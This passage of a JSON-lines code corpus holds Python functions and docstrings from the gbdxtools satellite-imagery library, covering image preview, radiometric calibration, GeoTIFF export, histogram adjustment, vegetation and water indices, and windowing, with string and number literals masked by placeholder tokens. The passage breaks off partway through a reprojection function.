{"signature": "def preview(image, **kwargs):", "body": "try:<EOL><INDENT>from IPython.display import Javascript, HTML, display<EOL>from gbdxtools.rda.interface import RDA<EOL>from gbdxtools import Interface<EOL>gbdx = Interface()<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>zoom = kwargs.get(\"<STR_LIT>\", <NUM_LIT:16>)<EOL>bands = kwargs.get(\"<STR_LIT>\")<EOL>if bands is None:<EOL><INDENT>bands = image._rgb_bands<EOL><DEDENT>wgs84_bounds = kwargs.get(\"<STR_LIT>\", list(loads(image.metadata[\"<STR_LIT:image>\"][\"<STR_LIT>\"]).bounds))<EOL>center = kwargs.get(\"<STR_LIT>\", list(shape(image).centroid.bounds[<NUM_LIT:0>:<NUM_LIT:2>]))<EOL>if image.proj != '<STR_LIT>':<EOL><INDENT>code = image.proj.split('<STR_LIT::>')[<NUM_LIT:1>]<EOL>conn = gbdx.gbdx_connection<EOL>proj_info = conn.get('<STR_LIT>'.format(code)).json()<EOL>tfm = partial(pyproj.transform, pyproj.Proj(init='<STR_LIT>'), pyproj.Proj(init=image.proj))<EOL>bounds = list(ops.transform(tfm, box(*wgs84_bounds)).bounds)<EOL><DEDENT>else:<EOL><INDENT>proj_info = {}<EOL>bounds = wgs84_bounds<EOL><DEDENT>if not image.options.get('<STR_LIT>'):<EOL><INDENT>rda = RDA()<EOL>dra = rda.HistogramDRA(image)<EOL>image = dra.aoi(bbox=image.bounds)<EOL><DEDENT>graph_id = image.rda_id<EOL>node_id = image.rda.graph()['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT:id>']<EOL>map_id = \"<STR_LIT>\".format(str(int(time.time())))<EOL>scales = '<STR_LIT:U+002C>'.join(['<STR_LIT:1>'] * len(bands))<EOL>offsets = '<STR_LIT:U+002C>'.join(['<STR_LIT:0>'] * len(bands))<EOL>display(HTML(Template('''<STR_LIT>''').substitute({\"<STR_LIT>\": map_id})))<EOL>js = Template(\"\"\"<STR_LIT>\"\"\").substitute({<EOL>\"<STR_LIT>\": map_id,<EOL>\"<STR_LIT>\": image.proj,<EOL>\"<STR_LIT>\": json.dumps(proj_info),<EOL>\"<STR_LIT>\": graph_id,<EOL>\"<STR_LIT>\": bounds,<EOL>\"<STR_LIT>\": \"<STR_LIT:U+002C>\".join(map(str, bands)),<EOL>\"<STR_LIT>\": node_id,<EOL>\"<STR_LIT>\": json.dumps(image.metadata[\"<STR_LIT:image>\"]),<EOL>\"<STR_LIT>\": json.dumps(image.metadata[\"<STR_LIT>\"]),<EOL>\"<STR_LIT>\": center,<EOL>\"<STR_LIT>\": zoom,<EOL>\"<STR_LIT>\": gbdx.gbdx_connection.access_token,<EOL>\"<STR_LIT>\": scales,<EOL>\"<STR_LIT>\": offsets,<EOL>\"<STR_LIT:url>\": VIRTUAL_RDA_URL<EOL>})<EOL>display(Javascript(js))<EOL>", "docstring": "Show a slippy map preview of the image. Requires iPython.\n\n    Args:\n        image (image): image object to display\n        zoom (int): zoom level to intialize the map, default is 16\n        center (list): center coordinates to initialize the map, defaults to center of image\n        bands (list): bands of image to display, defaults to the image's default RGB bands", "id": "f7055:m1"}
{"signature": "def calc_toa_gain_offset(meta):", "body": "<EOL>sat_index = meta['<STR_LIT>'].upper() + \"<STR_LIT:_>\" + meta['<STR_LIT>'].upper()<EOL>acf = np.asarray(meta['<STR_LIT>'])  <EOL>ebw = np.asarray(meta['<STR_LIT>'])  <EOL>gain = np.asarray(constants.DG_ABSCAL_GAIN[sat_index])<EOL>scale = (acf / ebw) * gain<EOL>offset = np.asarray(constants.DG_ABSCAL_OFFSET[sat_index])<EOL>e_sun_index = meta['<STR_LIT>'].upper() + \"<STR_LIT:_>\" + meta['<STR_LIT>'].upper()<EOL>e_sun = np.asarray(constants.DG_ESUN[e_sun_index])<EOL>sun = ephem.Sun()<EOL>img_obs = ephem.Observer()<EOL>img_obs.lon = meta['<STR_LIT>'][<NUM_LIT:1>]<EOL>img_obs.lat = meta['<STR_LIT>'][<NUM_LIT:0>]<EOL>img_obs.elevation = meta['<STR_LIT>'][<NUM_LIT:2>]<EOL>img_obs.date = datetime.datetime.fromtimestamp(meta['<STR_LIT>']['<STR_LIT>'] / <NUM_LIT>).strftime(<EOL>'<STR_LIT>')<EOL>sun.compute(img_obs)<EOL>d_es = sun.earth_distance<EOL>theta_s = <NUM_LIT> - float(meta['<STR_LIT>'])<EOL>scale2 = (d_es ** <NUM_LIT:2> * np.pi) / (e_sun * np.cos(np.deg2rad(theta_s)))<EOL>return zip(scale, scale2, offset)<EOL>", "docstring": "Compute (gain, offset) tuples for each band of the specified image metadata", "id": "f7055:m4"}
{"signature": "@lru_cache(maxsize=<NUM_LIT>)<EOL>def load_url(url, token, shape=(<NUM_LIT:8>, <NUM_LIT>, <NUM_LIT>)):", "body": "_, ext = os.path.splitext(urlparse(url).path)<EOL>success = False<EOL>for i in xrange(MAX_RETRIES):<EOL><INDENT>thread_id = threading.current_thread().ident<EOL>_curl = _curl_pool[thread_id]<EOL>_curl.setopt(_curl.URL, url)<EOL>_curl.setopt(pycurl.NOSIGNAL, <NUM_LIT:1>)<EOL>_curl.setopt(pycurl.HTTPHEADER, ['<STR_LIT>'.format(token)])<EOL>with NamedTemporaryFile(prefix=\"<STR_LIT>\", suffix=ext, delete=False) as temp: <EOL><INDENT>_curl.setopt(_curl.WRITEDATA, temp.file)<EOL>_curl.perform()<EOL>code = _curl.getinfo(pycurl.HTTP_CODE)<EOL>try:<EOL><INDENT>if(code != <NUM_LIT:200>):<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(url, code))<EOL><DEDENT>temp.file.flush()<EOL>temp.close()<EOL>arr = imread(temp.name)<EOL>if len(arr.shape) == <NUM_LIT:3>:<EOL><INDENT>arr = np.rollaxis(arr, <NUM_LIT:2>, <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>arr = np.expand_dims(arr, axis=<NUM_LIT:0>)<EOL><DEDENT>success = True<EOL>return arr<EOL><DEDENT>except Exception as e:<EOL><INDENT>_curl.close()<EOL>del _curl_pool[thread_id]<EOL><DEDENT>finally:<EOL><INDENT>temp.close()<EOL>os.remove(temp.name)<EOL><DEDENT><DEDENT><DEDENT>if success is False:<EOL><INDENT>raise TypeError(\"<STR_LIT>\".format(url, code))<EOL><DEDENT>return arr<EOL>", "docstring": "Loads a geotiff url inside a thread and returns as an ndarray", "id": "f7060:m0"}
{"signature": "def to_geotiff(arr, path='<STR_LIT>', proj=None, spec=None, bands=None, **kwargs):", "body": "assert has_rasterio, \"<STR_LIT>\" <EOL>try:<EOL><INDENT>img_md = arr.rda.metadata[\"<STR_LIT:image>\"]<EOL>x_size = img_md[\"<STR_LIT>\"]<EOL>y_size = img_md[\"<STR_LIT>\"]<EOL><DEDENT>except (AttributeError, KeyError):<EOL><INDENT>x_size = kwargs.get(\"<STR_LIT>\", <NUM_LIT>)<EOL>y_size = kwargs.get(\"<STR_LIT>\", <NUM_LIT>)<EOL><DEDENT>try:<EOL><INDENT>tfm = kwargs['<STR_LIT>'] if '<STR_LIT>' in kwargs else arr.affine<EOL><DEDENT>except:<EOL><INDENT>tfm = None<EOL><DEDENT>dtype = arr.dtype.name if arr.dtype.name != '<STR_LIT>' else '<STR_LIT>' <EOL>if spec is not None and spec.lower() == '<STR_LIT>':<EOL><INDENT>if bands is None:<EOL><INDENT>bands = arr._rgb_bands<EOL><DEDENT>if not arr.options.get('<STR_LIT>'):<EOL><INDENT>from gbdxtools.rda.interface import RDA<EOL>rda = RDA()<EOL>dra = rda.HistogramDRA(arr)<EOL>arr = dra.aoi(bbox=arr.bounds)<EOL><DEDENT>arr = arr[bands,...].astype(np.uint8)<EOL>dtype = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>if bands is not None:<EOL><INDENT>arr = arr[bands,...]<EOL><DEDENT><DEDENT>meta = {<EOL>'<STR_LIT:width>': arr.shape[<NUM_LIT:2>],<EOL>'<STR_LIT>': arr.shape[<NUM_LIT:1>],<EOL>'<STR_LIT:count>': arr.shape[<NUM_LIT:0>],<EOL>'<STR_LIT>': dtype,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': tfm<EOL>}<EOL>if proj is not None:<EOL><INDENT>meta[\"<STR_LIT>\"] = {'<STR_LIT>': proj}<EOL><DEDENT>if \"<STR_LIT>\" in kwargs and kwargs[\"<STR_LIT>\"]:<EOL><INDENT>meta.update(blockxsize=x_size, blockysize=y_size, tiled=\"<STR_LIT:yes>\")<EOL><DEDENT>with rasterio.open(path, \"<STR_LIT:w>\", **meta) as dst:<EOL><INDENT>writer = rio_writer(dst)<EOL>result = store(arr, writer, compute=False)<EOL>result.compute(scheduler=threaded_get)<EOL><DEDENT>return path<EOL>", "docstring": "Write out a geotiff file of the image\n\n    Args:\n        path (str): path to write the geotiff file to, default is ./output.tif\n        proj (str): EPSG string of projection to reproject to\n        spec (str): if set to 'rgb', write out color-balanced 8-bit RGB tif\n        bands (list): list of bands to export. If spec='rgb' will default to RGB bands\n\n    Returns:\n        str: path the geotiff was written to", "id": "f7065:m0"}
{"signature": "def _expression_def(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Creates the list values which will be passed as a mapbox-gl\n            conditional expression.", "id": "f7067:c0:m0"}
{"signature": "def rgb(self, **kwargs):", "body": "if \"<STR_LIT>\" in kwargs:<EOL><INDENT>use_bands = kwargs[\"<STR_LIT>\"]<EOL>assert len(use_bands) == <NUM_LIT:3>, '<STR_LIT>'<EOL>del kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>use_bands = self._rgb_bands<EOL><DEDENT>if kwargs.get('<STR_LIT>') == True:<EOL><INDENT>return self.histogram_match(use_bands, **kwargs)<EOL><DEDENT>if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>if \"<STR_LIT>\" not in kwargs:<EOL><INDENT>if not self.options.get('<STR_LIT>'):<EOL><INDENT>kwargs['<STR_LIT>'] = [<NUM_LIT:2>,<NUM_LIT>]<EOL><DEDENT><DEDENT>return self.histogram_stretch(use_bands, **kwargs)<EOL><DEDENT>elif kwargs[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>return self.histogram_equalize(use_bands, **kwargs)<EOL><DEDENT>elif kwargs[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>return self.histogram_match(use_bands, **kwargs)<EOL><DEDENT>elif kwargs[\"<STR_LIT>\"] == \"<STR_LIT>\":<EOL><INDENT>return self.histogram_stretch(use_bands, stretch=[<NUM_LIT:0>, <NUM_LIT:100>], **kwargs)<EOL><DEDENT>elif kwargs[\"<STR_LIT>\"] == \"<STR_LIT:ignore>\" or self.options.get('<STR_LIT>'):<EOL><INDENT>data = self._read(self[use_bands,...], **kwargs)<EOL>return np.rollaxis(data, <NUM_LIT:0>, <NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Convert the image to a 3 band RGB for plotting\n\n        This method shares the same arguments as plot(). It will perform visual adjustment on the\n        image and prepare the data for plotting in MatplotLib. Values are converted to an\n        appropriate precision and the axis order is changed to put the band axis last.", "id": "f7074:c0:m0"}
{"signature": "def histogram_equalize(self, use_bands, **kwargs):", "body": "data = self._read(self[use_bands,...], **kwargs)<EOL>data = np.rollaxis(data.astype(np.float32), <NUM_LIT:0>, <NUM_LIT:3>)<EOL>flattened = data.flatten()<EOL>if <NUM_LIT:0> in data:<EOL><INDENT>masked = np.ma.masked_values(data, <NUM_LIT:0>).compressed()<EOL>image_histogram, bin_edges = np.histogram(masked, <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>image_histogram, bin_edges = np.histogram(flattened, <NUM_LIT>)<EOL><DEDENT>bins = (bin_edges[:-<NUM_LIT:1>] + bin_edges[<NUM_LIT:1>:]) / <NUM_LIT><EOL>cdf = image_histogram.cumsum() <EOL>cdf = cdf / float(cdf[-<NUM_LIT:1>])<EOL>image_equalized = np.interp(flattened, bins, cdf).reshape(data.shape)<EOL>if '<STR_LIT>' in kwargs or '<STR_LIT>' in kwargs:<EOL><INDENT>return self._histogram_stretch(image_equalized, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>return image_equalized<EOL><DEDENT>", "docstring": "Equalize and the histogram and normalize value range\n            Equalization is on all three bands, not per-band", "id": "f7074:c0:m2"}
{"signature": "def histogram_match(self, use_bands, blm_source=None, **kwargs):", "body": "assert has_rio, \"<STR_LIT>\"<EOL>data = self._read(self[use_bands,...], **kwargs)<EOL>data = np.rollaxis(data.astype(np.float32), <NUM_LIT:0>, <NUM_LIT:3>)<EOL>if <NUM_LIT:0> in data:<EOL><INDENT>data = np.ma.masked_values(data, <NUM_LIT:0>)<EOL><DEDENT>bounds = self._reproject(box(*self.bounds), from_proj=self.proj, to_proj=\"<STR_LIT>\").bounds<EOL>if blm_source == '<STR_LIT>':<EOL><INDENT>from gbdxtools.images.browse_image import BrowseImage<EOL>ref = BrowseImage(self.cat_id, bbox=bounds).read()<EOL><DEDENT>else:<EOL><INDENT>from gbdxtools.images.tms_image import TmsImage<EOL>tms = TmsImage(zoom=self._calc_tms_zoom(self.affine[<NUM_LIT:0>]), bbox=bounds, **kwargs)<EOL>ref = np.rollaxis(tms.read(), <NUM_LIT:0>, <NUM_LIT:3>)<EOL><DEDENT>out = np.dstack([rio_match(data[:,:,idx], ref[:,:,idx].astype(np.double)/<NUM_LIT>)<EOL>for idx in range(data.shape[-<NUM_LIT:1>])])<EOL>if '<STR_LIT>' in kwargs or '<STR_LIT>' in kwargs:<EOL><INDENT>return self._histogram_stretch(out, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>return out<EOL><DEDENT>", "docstring": "Match the histogram to existing imagery", "id": "f7074:c0:m3"}
{"signature": "def histogram_stretch(self, use_bands, **kwargs):", "body": "data = self._read(self[use_bands,...], **kwargs)<EOL>data = np.rollaxis(data.astype(np.float32), <NUM_LIT:0>, <NUM_LIT:3>)<EOL>return self._histogram_stretch(data, **kwargs)<EOL>", "docstring": "entry point for contrast stretching", "id": "f7074:c0:m4"}
{"signature": "def _histogram_stretch(self, data, **kwargs):", "body": "limits = {}<EOL>for x in range(<NUM_LIT:3>):<EOL><INDENT>band = data[:,:,x]<EOL>try:<EOL><INDENT>limits[x] = np.percentile(band, kwargs.get(\"<STR_LIT>\", [<NUM_LIT:0>,<NUM_LIT:100>]))<EOL><DEDENT>except IndexError:<EOL><INDENT>return data<EOL><DEDENT><DEDENT>for x in range(<NUM_LIT:3>):<EOL><INDENT>band = data[:,:,x]<EOL>if <NUM_LIT:0> in band:<EOL><INDENT>band = np.ma.masked_values(band, <NUM_LIT:0>).compressed()<EOL><DEDENT>top = limits[x][<NUM_LIT:1>]<EOL>bottom = limits[x][<NUM_LIT:0>]<EOL>if top != bottom: <EOL><INDENT>data[:,:,x] = (data[:,:,x] - bottom) / float(top - bottom) * <NUM_LIT><EOL><DEDENT><DEDENT>data = np.clip(data, <NUM_LIT:0>, <NUM_LIT:255>).astype(\"<STR_LIT>\")<EOL>if \"<STR_LIT>\" in kwargs:<EOL><INDENT>invGamma = <NUM_LIT:1.0> / kwargs['<STR_LIT>']<EOL>lut = np.array([((i / <NUM_LIT>) ** invGamma) * <NUM_LIT:255><EOL>for i in np.arange(<NUM_LIT:0>, <NUM_LIT>)]).astype(\"<STR_LIT>\")<EOL>data = np.take(lut, data)<EOL><DEDENT>return data<EOL>", "docstring": "perform a contrast stretch and/or gamma adjustment", "id": "f7074:c0:m5"}
{"signature": "def ndvi(self, **kwargs):", "body": "data = self._read(self[self._ndvi_bands,...]).astype(np.float32)<EOL>return (data[<NUM_LIT:0>,:,:] - data[<NUM_LIT:1>,:,:]) / (data[<NUM_LIT:0>,:,:] + data[<NUM_LIT:1>,:,:])<EOL>", "docstring": "Calculates Normalized Difference Vegetation Index using NIR and Red of an image.\n\nReturns: numpy array with ndvi values", "id": "f7074:c0:m6"}
{"signature": "def ndwi(self):", "body": "data = self._read(self[self._ndwi_bands,...]).astype(np.float32)<EOL>return (data[<NUM_LIT:1>,:,:] - data[<NUM_LIT:0>,:,:]) / (data[<NUM_LIT:0>,:,:] + data[<NUM_LIT:1>,:,:])<EOL>", "docstring": "Calculates Normalized Difference Water Index using Coastal and NIR2 bands for WV02, WV03.\nFor Landsat8 and sentinel2 calculated by using Green and NIR bands.\n\nReturns: numpy array of ndwi values", "id": "f7074:c0:m7"}
{"signature": "def plot(self, spec=\"<STR_LIT>\", **kwargs):", "body": "if self.shape[<NUM_LIT:0>] == <NUM_LIT:1> or (\"<STR_LIT>\" in kwargs and len(kwargs[\"<STR_LIT>\"]) == <NUM_LIT:1>):<EOL><INDENT>if \"<STR_LIT>\" in kwargs:<EOL><INDENT>cmap = kwargs[\"<STR_LIT>\"]<EOL>del kwargs[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>cmap = \"<STR_LIT>\"<EOL><DEDENT>self._plot(tfm=self._single_band, cmap=cmap, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>if spec == \"<STR_LIT>\" and self._has_token(**kwargs):<EOL><INDENT>self._plot(tfm=self.rgb, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>self._plot(tfm=getattr(self, spec), **kwargs)<EOL><DEDENT><DEDENT>", "docstring": "Plot the image with MatplotLib\n\n        Plot sizing includes default borders and spacing. If the image is shown in Jupyter the outside whitespace will be automatically cropped to save size, resulting in a smaller sized image than expected.\n\n        Histogram options:\n            * 'equalize': performs histogram equalization on the image.\n            * 'minmax': stretch the pixel range to the minimum and maximum input pixel values. Equivalent to stretch=[0,100].\n            * 'match': match the histogram to the Maps API imagery. Pass the additional keyword blm_source='browse' to match to the Browse Service (image thumbnail) instead.\n            * 'ignore': Skip dynamic range adjustment, in the event the image is already correctly balanced and the values are in the correct range.\n\n        Gamma values greater than 1 will brighten the image midtones, values less than 1 will darken the midtones.\n\n        Plots generated with the histogram options of 'match' and 'equalize' can be combined with the stretch and gamma options. The stretch and gamma adjustments will be applied after the histogram adjustments.\n\n        Args:\n            w (float or int): width of plot in inches at 72 dpi, default is 10\n            h (float or int): height of plot in inches at 72 dpi, default is 10\n            title (str): Title to use on the plot\n            fontsize (int): Size of title font, default is 22. Size is measured in points.\n            bands (list): bands to use for plotting, such as bands=[4,2,1]. Defaults to the image's natural RGB bands. This option is useful for generating pseudocolor images when passed a list of three bands. If only a single band is provided, a colormapped plot will be generated instead.\n            cmap (str): MatPlotLib colormap name to use for single band images. Default is colormap='Grey_R'.\n            histogram (str): either 'equalize', 'minmax', 'match', or ignore\n            stretch (list): stretch the histogram between two percentile values, default is [2,98]\n            gamma (float): adjust image gamma, default is 1.0", "id": "f7074:c0:m8"}
{"signature": "def materialize(self, node=None, bounds=None, callback=None, out_format='<STR_LIT>', **kwargs):", "body": "kwargs.update({<EOL>\"<STR_LIT>\": node,<EOL>\"<STR_LIT>\": bounds,<EOL>\"<STR_LIT>\": callback,<EOL>\"<STR_LIT>\": out_format<EOL>})<EOL>return self.rda._materialize(**kwargs)<EOL>", "docstring": "Materializes images into gbdx user buckets in s3.\nNote: This method is only available to RDA based image classes. \n\nArgs:\n  node (str): the node in the graph to materialize\n  bounds (list): optional bbox for cropping what gets materialized in s3\n  out_format (str): VECTOR_TILE, VECTOR, TIF, TILE_STREAM\n  callback (str): a callback url like an `sns://`\nReturns:\n  job_id (str): the job_id of the materialization", "id": "f7077:c2:m10"}
{"signature": "def materialize_status(self, job_id):", "body": "return self.rda._materialize_status(job_id)<EOL>", "docstring": "Checks the status of an materialize job.\n\nArgs:\n  job_id (str): the node in the graph to materialize\nReturns:\n  status (dict): the status of the job", "id": "f7077:c2:m11"}
{"signature": "def read(self, bands=None, **kwargs):", "body": "arr = self<EOL>if bands is not None:<EOL><INDENT>arr = self[bands, ...]<EOL><DEDENT>return arr.compute(scheduler=threaded_get)<EOL>", "docstring": "Reads data from a dask array and returns the computed ndarray matching the given bands\n\n        Args:\n            bands (list): band indices to read from the image. Returns bands in the order specified in the list of bands.\n\n        Returns:\n            ndarray: a numpy array of image data", "id": "f7081:c1:m2"}
{"signature": "def randwindow(self, window_shape):", "body": "row = random.randrange(window_shape[<NUM_LIT:0>], self.shape[<NUM_LIT:1>])<EOL>col = random.randrange(window_shape[<NUM_LIT:1>], self.shape[<NUM_LIT:2>])<EOL>return self[:, row-window_shape[<NUM_LIT:0>]:row, col-window_shape[<NUM_LIT:1>]:col]<EOL>", "docstring": "Get a random window of a given shape from within an image\n\n        Args:\n            window_shape (tuple): The desired shape of the returned image as (height, width) in pixels.\n\n        Returns:\n            image: a new image object of the specified shape and same type", "id": "f7081:c1:m3"}
{"signature": "def iterwindows(self, count=<NUM_LIT:64>, window_shape=(<NUM_LIT>, <NUM_LIT>)):", "body": "if count is None:<EOL><INDENT>while True:<EOL><INDENT>yield self.randwindow(window_shape)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for i in xrange(count):<EOL><INDENT>yield self.randwindow(window_shape)<EOL><DEDENT><DEDENT>", "docstring": "Iterate over random windows of an image\n\n        Args:\n            count (int): the number of the windows to generate. Defaults to 64, if `None` will continue to iterate over random windows until stopped.\n            window_shape (tuple): The desired shape of each image as (height, width) in pixels.\n\n        Yields:\n            image: an image of the given shape and same type.", "id": "f7081:c1:m4"}
{"signature": "def window_at(self, geom, window_shape):", "body": "<EOL>y_size, x_size = window_shape[<NUM_LIT:0>], window_shape[<NUM_LIT:1>]<EOL>bounds = box(*geom.bounds)<EOL>px = ops.transform(self.__geo_transform__.rev, bounds).centroid<EOL>miny, maxy = int(px.y - y_size/<NUM_LIT:2>), int(px.y + y_size/<NUM_LIT:2>)<EOL>minx, maxx = int(px.x - x_size/<NUM_LIT:2>), int(px.x + x_size/<NUM_LIT:2>)<EOL>_, y_max, x_max = self.shape<EOL>if minx < <NUM_LIT:0> or miny < <NUM_LIT:0> or maxx > x_max or maxy > y_max:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return self[:, miny:maxy, minx:maxx]<EOL>", "docstring": "Return a subsetted window of a given size, centered on a geometry object\n\n        Useful for generating training sets from vector training data\n        Will throw a ValueError if the window is not within the image bounds\n\n        Args:\n            geom (shapely,geometry): Geometry to center the image on\n            window_shape (tuple): The desired shape of the image as (height, width) in pixels.\n\n        Returns:\n            image: image object of same type", "id": "f7081:c1:m5"}
{"signature": "def window_cover(self, window_shape, pad=True):", "body": "size_y, size_x = window_shape[<NUM_LIT:0>], window_shape[<NUM_LIT:1>]<EOL>_ndepth, _nheight, _nwidth = self.shape<EOL>nheight, _m = divmod(_nheight, size_y)<EOL>nwidth, _n = divmod(_nwidth, size_x)<EOL>img = self<EOL>if pad is True:<EOL><INDENT>new_height, new_width = _nheight, _nwidth<EOL>if _m != <NUM_LIT:0>:<EOL><INDENT>new_height = (nheight + <NUM_LIT:1>) * size_y<EOL><DEDENT>if _n != <NUM_LIT:0>:<EOL><INDENT>new_width = (nwidth + <NUM_LIT:1>) * size_x<EOL><DEDENT>if (new_height, new_width) != (_nheight, _nwidth):<EOL><INDENT>bounds = box(<NUM_LIT:0>, <NUM_LIT:0>, new_width, new_height)<EOL>geom = ops.transform(self.__geo_transform__.fwd, bounds)<EOL>img = self[geom]<EOL><DEDENT><DEDENT>row_lims = range(<NUM_LIT:0>, img.shape[<NUM_LIT:1>], size_y)<EOL>col_lims = range(<NUM_LIT:0>, img.shape[<NUM_LIT:2>], size_x)<EOL>for maxy, maxx in product(row_lims, col_lims):<EOL><INDENT>reg = img[:, maxy:(maxy + size_y), maxx:(maxx + size_x)]<EOL>if pad is False:<EOL><INDENT>if reg.shape[<NUM_LIT:1>:] == window_shape:<EOL><INDENT>yield reg<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yield reg<EOL><DEDENT><DEDENT>", "docstring": "Iterate over a grid of windows of a specified shape covering an image.\n\n        The image is divided into a grid of tiles of size window_shape. Each iteration returns\n        the next window.\n\n\n        Args:\n            window_shape (tuple): The desired shape of each image as (height,\n                width) in pixels.\n            pad: (bool): Whether or not to pad edge cells. If False, cells that do not\n                have the desired shape will not be returned. Defaults to True.\n\n        Yields:\n            image: image object of same type.", "id": "f7081:c1:m6"}
{"signature": "def map_blocks(self, *args, **kwargs):", "body": "darr = super(GeoDaskImage, self).map_blocks(*args, **kwargs)<EOL>return GeoDaskImage(darr, __geo_interface__ = self.__geo_interface__,<EOL>__geo_transform__ = self.__geo_transform__)<EOL>", "docstring": "Queue a deferred function to run on each block of image\n\n        This is identical to Dask's map_block functinos, but returns a GeoDaskImage to preserve\n        the geospatial information.\n\n        Args: see dask.Array.map_blocks\n\n        Returns:\n            GeoDaskImage: a dask array with the function queued up to run when the image is read", "id": "f7081:c2:m0"}
{"signature": "@property<EOL><INDENT>def affine(self):<DEDENT>", "body": "<EOL>return self.__geo_transform__._affine<EOL>", "docstring": "The geo transform of the image\n\n        Returns:\n            dict: The image's affine transform", "id": "f7081:c2:m3"}
{"signature": "@property<EOL><INDENT>def bounds(self):<DEDENT>", "body": "return shape(self).bounds<EOL>", "docstring": "Access the spatial bounding box of the image\n\n        Returns:\n            list: list of bounds in image projected coordinates (minx, miny, maxx, maxy)", "id": "f7081:c2:m4"}
{"signature": "@property<EOL><INDENT>def proj(self):<DEDENT>", "body": "return self.__geo_transform__.proj<EOL>", "docstring": "The projection of the image", "id": "f7081:c2:m5"}
{"signature": "def aoi(self, **kwargs):", "body": "g = self._parse_geoms(**kwargs)<EOL>if g is None:<EOL><INDENT>return self<EOL><DEDENT>else:<EOL><INDENT>return self[g]<EOL><DEDENT>", "docstring": "Subsets the Image by the given bounds\n\n        Args:\n            bbox (list): optional. A bounding box array [minx, miny, maxx, maxy]\n            wkt (str): optional. A WKT geometry string\n            geojson (str): optional. A GeoJSON geometry dictionary\n\n        Returns:\n            image: an image instance of the same type", "id": "f7081:c2:m6"}
{"signature": "def pxbounds(self, geom, clip=False):", "body": "try:<EOL><INDENT>if isinstance(geom, dict):<EOL><INDENT>if '<STR_LIT>' in geom:<EOL><INDENT>geom = shape(geom['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>geom = shape(geom)<EOL><DEDENT><DEDENT>elif isinstance(geom, BaseGeometry):<EOL><INDENT>geom = shape(geom)<EOL><DEDENT>else:<EOL><INDENT>geom = wkt.loads(geom)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>raise TypeError (\"<STR_LIT>\")<EOL><DEDENT>if geom.disjoint(shape(self)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>(xmin, ymin, xmax, ymax) = ops.transform(self.__geo_transform__.rev, geom).bounds<EOL>_nbands, ysize, xsize = self.shape<EOL>if clip:<EOL><INDENT>xmin = max(xmin, <NUM_LIT:0>)<EOL>ymin = max(ymin, <NUM_LIT:0>)<EOL>xmax = min(xmax, xsize)<EOL>ymax = min(ymax, ysize)<EOL><DEDENT>return (xmin, ymin, xmax, ymax)<EOL>", "docstring": "Returns the bounds of a geometry object in pixel coordinates\n\n        Args:\n            geom: Shapely geometry object or GeoJSON as Python dictionary or WKT string\n            clip (bool): Clip the bounds to the min/max extent of the image\n\n        Returns:\n            list: bounds in pixels [min x, min y, max x, max y] clipped to image bounds", "id": "f7081:c2:m7"}
{"signature": "def geotiff(self, **kwargs):", "body": "if '<STR_LIT>' not in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = self.proj<EOL><DEDENT>return to_geotiff(self, **kwargs)<EOL>", "docstring": "Creates a geotiff on the filesystem\n\n        Args:\n            path (str): optional, path to write the geotiff file to, default is ./output.tif\n            proj (str): optional, EPSG string of projection to reproject to\n            spec (str): optional, if set to 'rgb', write out color-balanced 8-bit RGB tif\n            bands (list): optional, list of bands to export. If spec='rgb' will default to RGB bands,\n                otherwise will export all bands\n\n        Returns:\n            str: path the geotiff was written to", "id": "f7081:c2:m8"}
{"signature": "def warp(self, dem=None, proj=\"<STR_LIT>\", **kwargs):", "body": "try:<EOL><INDENT>img_md = self.rda.metadata[\"<STR_LIT:image>\"]<EOL>x_size = img_md[\"<STR_LIT>\"]<EOL>y_size = img_md[\"<STR_LIT>\"]<EOL><DEDENT>except (AttributeError, KeyError):<EOL><INDENT>x_size = kwargs.get(\"<STR_LIT>\", <NUM_LIT>)<EOL>y_size = kwargs.get(\"<STR_LIT>\", <NUM_LIT>)<EOL><DEDENT>if self.proj is None:<EOL><INDENT>from_proj = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>from_proj = self.proj<EOL><DEDENT>try:<EOL><INDENT>center = wkt.loads(self.rda.metadata[\"<STR_LIT:image>\"][\"<STR_LIT>\"]).centroid<EOL>g = box(*(center.buffer(self.rda.metadata[\"<STR_LIT>\"][\"<STR_LIT>\"] / <NUM_LIT:2>).bounds))<EOL>tfm = partial(pyproj.transform, pyproj.Proj(init=\"<STR_LIT>\"), pyproj.Proj(init=proj))<EOL>gsd = kwargs.get(\"<STR_LIT>\", ops.transform(tfm, g).area ** <NUM_LIT:0.5>)<EOL>current_bounds = wkt.loads(self.rda.metadata[\"<STR_LIT:image>\"][\"<STR_LIT>\"]).bounds<EOL><DEDENT>except (AttributeError, KeyError, TypeError):<EOL><INDENT>tfm = partial(pyproj.transform, pyproj.Proj(init=self.proj), pyproj.Proj(init=proj))<EOL>gsd = kwargs.get(\"<STR_LIT>\", (ops.transform(tfm, shape(self)).area / (self.shape[<NUM_LIT:1>] * self.shape[<NUM_LIT:2>])) ** <NUM_LIT:0.5> )<EOL>current_bounds = self.bounds<EOL><DEDENT>tfm = partial(pyproj.transform, pyproj.Proj(init=from_proj), 